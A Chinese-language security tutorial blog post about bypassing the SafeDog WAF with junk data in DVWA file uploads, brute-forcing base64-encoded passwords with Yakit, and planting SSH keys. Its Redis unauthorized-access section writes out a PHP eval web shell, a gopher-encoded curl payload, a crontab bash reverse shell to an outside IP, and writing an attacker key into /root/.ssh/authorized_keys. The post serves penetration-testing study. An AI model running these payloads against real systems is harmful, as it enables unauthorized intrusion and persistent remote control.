waf、yakit和ssh免密登录

2023-10-20 00:44
文章标签 登录 ssh 免密 waf yakit

本文主要是介绍waf、yakit和ssh免密登录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

WAF安全狗

脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场文件上传为例

新建php文件

image-20231018171929267

上传文件被安全狗拦截

image-20231018172117852

使用bp抓包查看

image-20231018172314404

在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。

image-20231018172943017

YAKIT

暴力破解

账户密码明文传输

客户防护:base64编码,加密。

前端base64编码加密,后端base64编码解密

抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。

新建x.php文档

<?php $a=base64_decode($_GET['passwd']);if($a=="admin"){echo "welcom";
}else{echo "error";
}?>

端口设置

点击MITM

image-20231018175722575

image-20231018175926301

image-20231018182845097

更改浏览器代理

image-20231018184713485

使用yt代理访问x.php页面

image-20231018185229093

在历史中右击数据包选择WEB FUZZER,

image-20231018185744145

选择admin右键,插入模糊字典标签,选择user top10。

image-20231018190014794

image-20231018190049796

image-20231018190224153

响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。

image-20231018190500054

{{base64({{x(user_top10)}})}},爆破出密码为admin

image-20231018190725353

image-20231018190858203

之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。

image-20231018191402483

image-20231018191441420

SSH免密登录

Linux服务器一定开放ssh端口。

ssh采用非对称加密,存在公钥私钥

将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。

以kali主机为失陷主机为例

首先开启ssh服务

ss -antpl
systemctl start ssh.service
ss -antpl
pwd		#家目录的路径

image-20231018192334617

image-20231018192909440

登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。

注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。

ssh kali@127.0.0.1

进入.ssh目录,看到里面的已通过认证的主机的公钥

模拟命令执行写入公钥

在windows中安装Git,安装完成后Windows就可以使用ssh客户端。

写入公钥可以通过一句话木马或代码执行或redis写入公钥

找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面

ssh-keygen -t rsa

image-20231018194202261

执行成功后出现.ssh目录

image-20231018194244523

进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。

image-20231018194354820

查看公钥内容

image-20231018194507557

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP

在.ssh目录中输入

vim authorized_keys

将公钥复制进去

image-20231018195105342

image-20231018195051783

image-20231018195130415

在Windows中的Git命令行中输入

ssh root@192.168.16.132

image-20231018195446366

image-20231018195521308

redis未授权写公钥

redis未授权

    高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

安装redis

kali换源

vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free#更新索引文件
apt-get update#更新软件包
apt-get upgrade#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server

Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

利用redis写文件

image-20231018213244945

redis-cli -h [ip]

这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。

写shell
aaaset 1 "<?php eval($_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
savebbburl编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
saveredis写入ssh公钥config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC" 
save 
quit

这篇关于waf、yakit和ssh免密登录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/243490

相关文章

JWT + 拦截器实现无状态登录系统

《JWT+拦截器实现无状态登录系统》JWT(JSONWebToken)提供了一种无状态的解决方案:用户登录后,服务器返回一个Token,后续请求携带该Token即可完成身份验证,无需服务器存储会话... 目录✅ 引言 一、JWT 是什么? 二、技术选型 三、项目结构 四、核心代码实现4.1 添加依赖(pom

Spring Security重写AuthenticationManager实现账号密码登录或者手机号码登录

《SpringSecurity重写AuthenticationManager实现账号密码登录或者手机号码登录》本文主要介绍了SpringSecurity重写AuthenticationManage... 目录一、创建自定义认证提供者CustomAuthenticationProvider二、创建认证业务Us

Springboot项目登录校验功能实现

《Springboot项目登录校验功能实现》本文介绍了Web登录校验的重要性,对比了Cookie、Session和JWT三种会话技术,分析其优缺点,并讲解了过滤器与拦截器的统一拦截方案,推荐使用JWT... 目录引言一、登录校验的基本概念二、HTTP协议的无状态性三、会话跟android踪技术1. Cook

使用Redis快速实现共享Session登录的详细步骤

《使用Redis快速实现共享Session登录的详细步骤》在Web开发中,Session通常用于存储用户的会话信息,允许用户在多个页面之间保持登录状态,Redis是一个开源的高性能键值数据库,广泛用于... 目录前言实现原理:步骤:使用Redis实现共享Session登录1. 引入Redis依赖2. 配置R

Spring Security 单点登录与自动登录机制的实现原理

《SpringSecurity单点登录与自动登录机制的实现原理》本文探讨SpringSecurity实现单点登录(SSO)与自动登录机制,涵盖JWT跨系统认证、RememberMe持久化Token... 目录一、核心概念解析1.1 单点登录(SSO)1.2 自动登录(Remember Me)二、代码分析三、

Ubuntu 24.04启用root图形登录的操作流程

《Ubuntu24.04启用root图形登录的操作流程》Ubuntu默认禁用root账户的图形与SSH登录,这是为了安全,但在某些场景你可能需要直接用root登录GNOME桌面,本文以Ubuntu2... 目录一、前言二、准备工作三、设置 root 密码四、启用图形界面 root 登录1. 修改 GDM 配

nginx 负载均衡配置及如何解决重复登录问题

《nginx负载均衡配置及如何解决重复登录问题》文章详解Nginx源码安装与Docker部署,介绍四层/七层代理区别及负载均衡策略,通过ip_hash解决重复登录问题,对nginx负载均衡配置及如何... 目录一:源码安装:1.配置编译参数2.编译3.编译安装 二,四层代理和七层代理区别1.二者混合使用举例

Linux中SSH服务配置的全面指南

《Linux中SSH服务配置的全面指南》作为网络安全工程师,SSH(SecureShell)服务的安全配置是我们日常工作中不可忽视的重要环节,本文将从基础配置到高级安全加固,全面解析SSH服务的各项参... 目录概述基础配置详解端口与监听设置主机密钥配置认证机制强化禁用密码认证禁止root直接登录实现双因素

CSS3打造的现代交互式登录界面详细实现过程

《CSS3打造的现代交互式登录界面详细实现过程》本文介绍CSS3和jQuery在登录界面设计中的应用,涵盖动画、选择器、自定义字体及盒模型技术,提升界面美观与交互性,同时优化性能和可访问性,感兴趣的朋... 目录1. css3用户登录界面设计概述1.1 用户界面设计的重要性1.2 CSS3的新特性与优势1.

Java中的登录技术保姆级详细教程

《Java中的登录技术保姆级详细教程》:本文主要介绍Java中登录技术保姆级详细教程的相关资料,在Java中我们可以使用各种技术和框架来实现这些功能,文中通过代码介绍的非常详细,需要的朋友可以参考... 目录1.登录思路2.登录标记1.会话技术2.会话跟踪1.Cookie技术2.Session技术3.令牌技